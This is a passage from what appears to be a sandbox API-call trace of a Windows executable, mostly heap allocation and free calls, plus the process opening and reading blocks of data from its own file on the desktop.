hHeap=0x2ad0000) returned 1 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0072.022] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a718e0 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0072.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0072.022] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2a71580 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0072.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2ac28 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718a0 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6588 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0072.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6588, Size=0x14) returned 0x2a71860 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71860 | out: hHeap=0x2ad0000) returned 1 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b6e0 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64b8 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6488 [0072.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0072.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6488, Size=0x14) returned 0x2a71720 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64b8 | out: hHeap=0x2ad0000) returned 1 [0072.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2a71c68 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.024] GetCurrentThreadId () returned 0x9b0 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0072.024] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2a71840 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0072.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2adb0 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a2c970 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6598 [0072.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6598, Size=0x14) returned 0x2a718e0 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2adb0 | out: hHeap=0x2ad0000) returned 1 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fa38 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2a71720 [0072.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71720, Size=0x24) returned 0x2a20258 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa38 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b3d0 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2adb0 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6598 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0072.025] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6598, Size=0x14) returned 0x2a717c0 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0072.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2b3d0 | out: hHeap=0x2ad0000) returned 1 [0072.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2af38 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a29bb0 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6598 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0072.026] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6598, Size=0x14) returned 0x2a71660 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2af38 | out: hHeap=0x2ad0000) returned 1 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2af38 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b0c0 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71720 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6408 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0072.026] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6408, Size=0x14) returned 0x2a718a0 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0072.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2af38 | out: hHeap=0x2ad0000) returned 1 [0072.026] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105a758 | out: hHeap=0x1030000) returned 1 [0072.026] htonl (hostlong=0x30000000) returned 0x30 [0072.026] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bc678, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0072.026] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bc664, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0072.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bc51c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.027] GetFileType (hFile=0x1d4) returned 0x1 [0072.027] htonl (hostlong=0x31160000) returned 0x1631 [0072.027] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x4c631, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7d4 | out: lpNewFilePointer=0x0) returned 1 [0072.027] htonl (hostlong=0x511d0000) returned 0x1d51 [0072.027] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1d51) returned 0x1058628 [0072.027] htonl (hostlong=0x511d0000) returned 0x1d51 [0072.027] ReadFile (in: hFile=0x1d4, lpBuffer=0x1058628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc7b8, lpOverlapped=0x0 | out: lpBuffer=0x1058628*, lpNumberOfBytesRead=0x9bc7b8*=0x1000, lpOverlapped=0x0) returned 1 [0072.027] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x105a388 [0072.027] ReadFile (in: hFile=0x1d4, lpBuffer=0x105a388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc75c, lpOverlapped=0x0 | out: lpBuffer=0x105a388*, lpNumberOfBytesRead=0x9bc75c*=0x1000, lpOverlapped=0x0) returned 1 [0072.027] htonl (hostlong=0x54560000) returned 0x5654 [0072.027] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x5654) returned 0x105b390 [0072.028] htonl (hostlong=0x511d0000) returned 0x1d51 [0072.028] htonl (hostlong=0x54560000) returned 0x5654 [0072.028] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x10609f0 [0072.028] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x10609f0 | out: hHeap=0x1030000) returned 1 [0072.028] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058628 | out: hHeap=0x1030000) returned 1 [0072.028] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105a388 | out: hHeap=0x1030000) returned 1 [0072.028] CloseHandle (hObject=0x1d4) returned 1 [0072.028] htonl (hostlong=0x54560000) returned 0x5654 [0072.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5661) returned 0x2a71f70 [0072.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1fa38 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa38, Size=0x40) returned 0x2a2ca38 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a29c78 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a29c78, Size=0x8c) returned 0x2a29c78 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a29c78, Size=0xb8) returned 0x2a29c78 [0072.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2a775e0 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a29c78, Size=0xe8) returned 0x2a779e8 [0072.029] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0x120) returned 0x2a779e8 [0072.030] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0x160) returned 0x2a779e8 [0072.030] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0x1a8) returned 0x2a779e8 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x421) returned 0x2a77b98 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b3) returned 0x2a6e278 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x329) returned 0x2a6e538 [0072.030] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0x1f8) returned 0x2a6e870 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x211) returned 0x2a6ea70 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x239) returned 0x2a6ec90 [0072.030] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x250) returned 0x2a6eed8 [0072.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6eed8 | out: hHeap=0x2ad0000) returned 1 [0072.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71f70 | out: hHeap=0x2ad0000) returned 1 [0072.030] GetCurrentThreadId () returned 0x9b0 [0072.030] GetCurrentThreadId () returned 0x9b0 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a779e8 [0072.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.030] GetCurrentThreadId () returned 0x9b0 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2af38 [0072.030] GetCurrentThreadId () returned 0x9b0 [0072.030] GetCurrentThreadId () returned 0x9b0 [0072.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a779e8 [0072.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a779e8 [0072.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a779e8 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6eed8 [0072.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6eed8 | out: hHeap=0x2ad0000) returned 1 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b3d0 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a275e0 [0072.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2b3d0 | out: hHeap=0x2ad0000) returned 1 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a20348 [0072.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.031] GetCurrentThreadId () returned 0x9b0 [0072.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b868 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a29c78 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0072.032] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a717a0 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2b868 | out: hHeap=0x2ad0000) returned 1 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b3d0 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0072.032] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a718a0 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0072.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b868 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f398 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3ec) returned 0x2a71f70 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 